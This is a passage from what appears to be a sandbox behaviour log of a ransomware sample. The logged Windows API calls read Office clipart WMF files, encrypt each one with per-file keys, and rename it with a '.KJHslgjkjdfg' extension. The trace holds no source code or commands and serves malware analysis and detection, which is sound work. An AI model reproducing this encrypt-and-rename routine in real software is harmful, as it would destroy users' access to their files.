lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.023] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.023] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.023] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.023] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.023] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.023] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x39f8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x39f8, lpOverlapped=0x0) returned 1 [0187.024] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3a00, dwBufLen=0x3a00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3a00) returned 1 [0187.024] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.024] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3a00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3a00, lpOverlapped=0x0) returned 1 [0187.025] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.025] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.025] SetEndOfFile (hFile=0x114) returned 1 [0187.027] GetProcessHeap () returned 0x2a0000 [0187.027] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.027] GetProcessHeap () returned 0x2a0000 [0187.027] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.027] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf.kjhslgjkjdfg")) returned 1 [0187.029] CloseHandle (hObject=0x114) returned 1 [0187.035] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d2a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02950_.WMF", cAlternateFileName="")) returned 1 [0187.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02950_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.036] GetProcessHeap () returned 0x2a0000 [0187.036] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.036] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.036] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.036] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0187.038] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.038] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.038] GetProcessHeap () returned 0x2a0000 [0187.038] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.038] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.038] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.039] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.039] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.039] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.039] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.039] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.039] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.039] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.039] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.039] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.039] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1d2a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1d2a, lpOverlapped=0x0) returned 1 [0187.040] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1d30, dwBufLen=0x1d30 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1d30) returned 1 [0187.040] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.040] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1d30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1d30, lpOverlapped=0x0) returned 1 [0187.040] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.040] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1e04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.040] SetEndOfFile (hFile=0x114) returned 1 [0187.042] GetProcessHeap () returned 0x2a0000 [0187.042] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.043] GetProcessHeap () returned 0x2a0000 [0187.043] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.043] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02950_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02950_.wmf.kjhslgjkjdfg")) returned 1 [0187.045] CloseHandle (hObject=0x114) returned 1 [0187.045] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02957_.WMF", cAlternateFileName="")) returned 1 [0187.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.046] GetProcessHeap () returned 0x2a0000 [0187.046] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.046] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.046] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.046] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.046] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.046] GetProcessHeap () returned 0x2a0000 [0187.046] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.046] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.046] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.046] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.049] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.049] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.049] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.049] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.049] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.049] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.049] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.049] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.049] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xc70, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xc70, lpOverlapped=0x0) returned 1 [0187.050] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc70, dwBufLen=0xc70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc70) returned 1 [0187.050] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.050] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xc70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xc70, lpOverlapped=0x0) returned 1 [0187.050] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.050] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xd44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.050] SetEndOfFile (hFile=0x114) returned 1 [0187.052] GetProcessHeap () returned 0x2a0000 [0187.052] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.052] GetProcessHeap () returned 0x2a0000 [0187.052] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.052] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02957_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02957_.wmf.kjhslgjkjdfg")) returned 1 [0187.054] CloseHandle (hObject=0x114) returned 1 [0187.054] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b17c400, ftCreationTime.dwHighDateTime=0x1bd4af8, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b17c400, ftLastWriteTime.dwHighDateTime=0x1bd4af8, nFileSizeHigh=0x0, nFileSizeLow=0x614, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03236_.WMF", cAlternateFileName="")) returned 1 [0187.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.055] GetProcessHeap () returned 0x2a0000 [0187.055] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.055] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.055] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.055] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0187.057] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.057] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.057] GetProcessHeap () returned 0x2a0000 [0187.057] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.057] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.057] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.057] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.057] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.057] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.058] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.058] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.058] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.058] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.058] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.058] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.058] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x614, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x614, lpOverlapped=0x0) returned 1 [0187.058] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x620, dwBufLen=0x620 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x620) returned 1 [0187.058] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.058] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x620, lpOverlapped=0x0) returned 1 [0187.058] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.058] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.058] SetEndOfFile (hFile=0x114) returned 1 [0187.060] GetProcessHeap () returned 0x2a0000 [0187.060] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.060] GetProcessHeap () returned 0x2a0000 [0187.060] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.060] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03236_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03236_.wmf.kjhslgjkjdfg")) returned 1 [0187.062] CloseHandle (hObject=0x114) returned 1 [0187.062] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b00e400, ftCreationTime.dwHighDateTime=0x1bd4afa, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b00e400, ftLastWriteTime.dwHighDateTime=0x1bd4afa, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03241_.WMF", cAlternateFileName="")) returned 1 [0187.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.064] GetProcessHeap () returned 0x2a0000 [0187.064] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.064] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.064] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.064] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0187.066] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.066] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.066] GetProcessHeap () returned 0x2a0000 [0187.066] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.066] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.066] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.066] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.066] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.066] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.067] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.067] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.067] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.067] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.067] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.067] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.067] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8b4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8b4, lpOverlapped=0x0) returned 1 [0187.067] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8c0) returned 1 [0187.067] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.067] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8c0, 